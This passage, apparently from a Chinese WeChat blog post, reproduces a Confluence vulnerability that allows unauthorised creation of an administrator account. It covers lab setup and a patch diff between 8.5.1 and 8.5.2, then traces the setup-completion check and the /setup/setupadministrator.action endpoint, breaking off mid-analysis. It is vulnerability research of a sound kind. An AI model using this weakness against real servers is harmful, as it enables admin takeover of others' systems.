 </span><span style="font-size: 12pt;"></span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="603" data-backw="578" data-imgfileid="100004505" data-ratio="1.0433212996389891" width="601.7100219726562" data-type="png" data-w="831" height="627.780029296875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f05d48e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibCKGhnqQg4skLLBlfBKck8jcDuPwoicIAevx5GxY8A9kPmON2fDR5XBQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">然后将下载的</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">mysql-connector-j-8.2.0.jar</span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">复制到</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/Atlassian\Confluence\confluence\WEB-INF\lib</span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">目录下，重启 Confluence 服务即可配置 Mysql。</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"><img class="rich_pages wxw-img" data-backh="464" data-backw="578" data-imgfileid="100004504" data-ratio="0.8033573141486811" width="601.7100219726562" data-type="png" data-w="834" height="483.3900146484375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4a6f1b00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibfkAWDzoqZmeh5JgicDoyoxb0z8D8O1B53C6oBQaZkJP92dp1AE6pV6A%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;font-size: 18px;">需要修改一些 mysql 的配置参数，参考官方 MySQL 数据库配置：</span><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"><a href="https://confluence.atlassian.com/doc/database-setup-for-mysql-128747.html" target="_blank">https://confluence.atlassian.com/doc/database-setup-for-mysql-128747.html</a></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="color: rgb(0, 0, 255);text-decoration: underline;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">一直跟着按照流程走就是，选择</span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">Empty Site</span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">；</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="482" data-backw="578" data-imgfileid="100004509" data-ratio="0.8331090174966352" width="601.7100219726562" data-type="png" data-w="743" height="501.2900390625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=fda07c99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibRxGaElYwpgJTuOmLicXXPtpCvGNTwib6fDics9F2sEmp0BibKyVNusReXA%2F640%3Fwx_fmt%3Dpng"/>          <br/>

 </span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="423" data-backw="578" data-imgfileid="100004507" data-ratio="0.7318741450068399" width="601.7100219726562" data-type="png" data-w="731" height="440.3800048828125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=3bb92bfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibTSjPxUYxPnDAV26cUVLrfYN3cQ5icdP3n3H6ibNicgxfia6yJOaSwvCYsQ%2F640%3Fwx_fmt%3Dpng"/></span>    <o:page></o:page></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">创建管理员；</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 </span><span style="font-size: 12pt;"></span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="413" data-backw="578" data-imgfileid="100004511" data-ratio="0.713506139154161" width="601.7100219726562" data-type="png" data-w="733" height="429.32000732421875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8a0d43f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3Nib2ZuRicHqxsuTaEQe3oo3fiafibVBXDttsfZPYibiazkDvg0SJct3dod78fw%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">安装成功。</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 </span><span style="font-size: 12pt;"></span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="213" data-backw="578" data-imgfileid="100004508" data-ratio="0.36916548797736914" width="601.7100219726562" data-type="png" data-w="707" height="222.1300048828125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f50d64f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3Nibm97fSPGibZSO73TC5gcQbdR51l2b1US87otQveObojksAMUc8scsjXQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">参考链接：</span></strong></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(0, 0, 255);font-weight: normal;text-decoration: underline;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://andblog.cn/2655" target="_blank">https://andblog.cn/2655</a><br/></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://l4yn3.github.io/2019/04/20/Confluence-漏洞分析环境搭建/" target="_blank">https://l4yn3.github.io/2019/04/20/Confluence-漏洞分析环境搭建/</a></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 24pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;break-before: auto;line-height: 1.6em;"><span style="text-indent: 0pt;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">3. 漏洞分析</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">diff 一下 confluence 8.5.1 和 8.5.2 的 jar 包，可以看到删除了</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">SeverInfoAction.class</span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">和</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">ServerInfoFilter.class</span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，新增了</span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">ReadOnlyApplicationConfig.class</span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">和</span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">ReadOnlySetupPersister.class</span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">；</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 </span><span style="font-size: 12pt;"></span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="246" data-backw="578" data-imgfileid="100004510" data-ratio="0.42592592592592593" width="601.7100219726562" data-type="png" data-w="1080" height="256.3399658203125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=77941c08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibJRldYrMDkeicwx8UoZqE392tMfWjHktezTATUeW9AmnsO1oQYtC3JVw%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">两个 ReadyOnly 的类中，都对 setter 方法抛出了 UnsupportedOperationException 异常，字面意思就是不允许的操作异常；</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 </span><span style="font-size: 12pt;"></span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="239" data-backw="578" data-imgfileid="100004516" data-ratio="0.412962962962963" width="601.7100219726562" data-type="png" data-w="1080" height="248.67999267578125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=6122d890&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibcgauAVKWicwHvYVDyxvCicVQP1kC58ZAOxfbzdA3Ldhry81dOjtIkgPQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">ReadOnlyApplicationConfig </span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">和 </span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">ReadOnlySetupPersister </span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">用在了 </span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">BootstrapStatusProviderImpl.class </span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中的</span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">getApplicationConfig()</span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">和</span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">getSetupPersister()</span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，猜测漏洞应该是跟 applicationconfig 和 setuppersister 变量有关。</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 </span><span style="font-size: 12pt;"></span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="192" data-backw="578" data-imgfileid="100004515" data-ratio="0.33240740740740743" width="601.7100219726562" data-type="png" data-w="1080" height="200.02999877929688" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f5586284&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NiblQxxDpLv0yfJAbvHPryfj7dVaUzNkNmeao0qPCcdSeo2ahP0qgQuyA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">根据官方公告的漏洞描述，利用漏洞可以创建未经授权的 Confluence 管理员账户，而创建管理员账户的步骤就在安装过程中进行的；</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;">

 <img class="rich_pages wxw-img" data-backh="206" data-backw="578" data-imgfileid="100004514" data-ratio="0.35714285714285715" width="601.7100219726562" data-type="png" data-w="658" height="214.89996337890625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=07ac60af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3Nibz0gYb5RzrwD0o3ftGgljJ7tS0cg5jDruOguIqTKkKniccibJNqKTvZgw%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">对应的 action 地址是</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/setup/setupadministrator.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，由于我们已经安装过了，直接访问就会显示</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">Setup is already complete</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">；</span></span><span style="font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;">  </span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="199" data-backw="578" data-imgfileid="100004512" data-ratio="0.34396135265700484" width="601.7100219726562" data-type="png" data-w="1035" height="206.96002197265625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a3cc29b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3Nib1ZuSt96RQSQJ22Kx8gVUCkeibDh3epfmXt3Ps92YZohTvyD6nB0ljYg%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">在</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">\confluence\WEB-INF\lib\com.atlassian.confluence_confluence-8.5.1.jar!\com\atlassian\confluence\core\ConfluenceActionSupport.propertie</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中，</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">Setup is already complete</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">这个字符串信息是赋给了</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">setup.already.title</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">变量；         <br/>

 而在</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">\setup\alreadysetup.vm</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中使用了这个变量；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="299" data-backw="578" data-imgfileid="100004513" data-ratio="0.5166402535657686" width="601.7100219726562" data-type="png" data-w="631" height="310.8699645996094" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=02326dca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3Nib6vIVvwjm2ljKWXd3aZ77KIfwhLazAOXo8dDMyicbkJHcAFK7iaBiaZicdQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">在 struts.xml 中看到，</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">alreadysetup.vm</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">是 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">alreadysetup </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">结果的返回页面；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="176" data-backw="578" data-imgfileid="100004519" data-ratio="0.30408653846153844" width="601.7100219726562" data-type="png" data-w="832" height="182.97000122070312" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b4858dd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3Nib8IpfGtRWwlmXG364SjictGDDI0uzPJDjKZibfzNrZFejtibibvNtfRKgibg%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">在 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">SetupCheckInterceptor </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">拦截器中，存在返回 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">alreadysetup </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的情况，前面两个方法结果都为 true 就返回 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">alreadysetup</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="159" data-backw="578" data-imgfileid="100004518" data-ratio="0.2759259259259259" width="601.7100219726562" data-type="png" data-w="1080" height="165.99002075195312" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4c171f2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibXf0tsiaZO4acrgDuvFyVJguxKelIlPYydeEDcFibOcPuTrbmbYHhwgibg%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">先看一下</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">isSetupComplete()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法，也就是说，这个方法的返回结果是跟</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">bootstrapStatusProvider.applicationConfig.setupComplete</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">变量值相关的，安装完成后这个值就为 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica 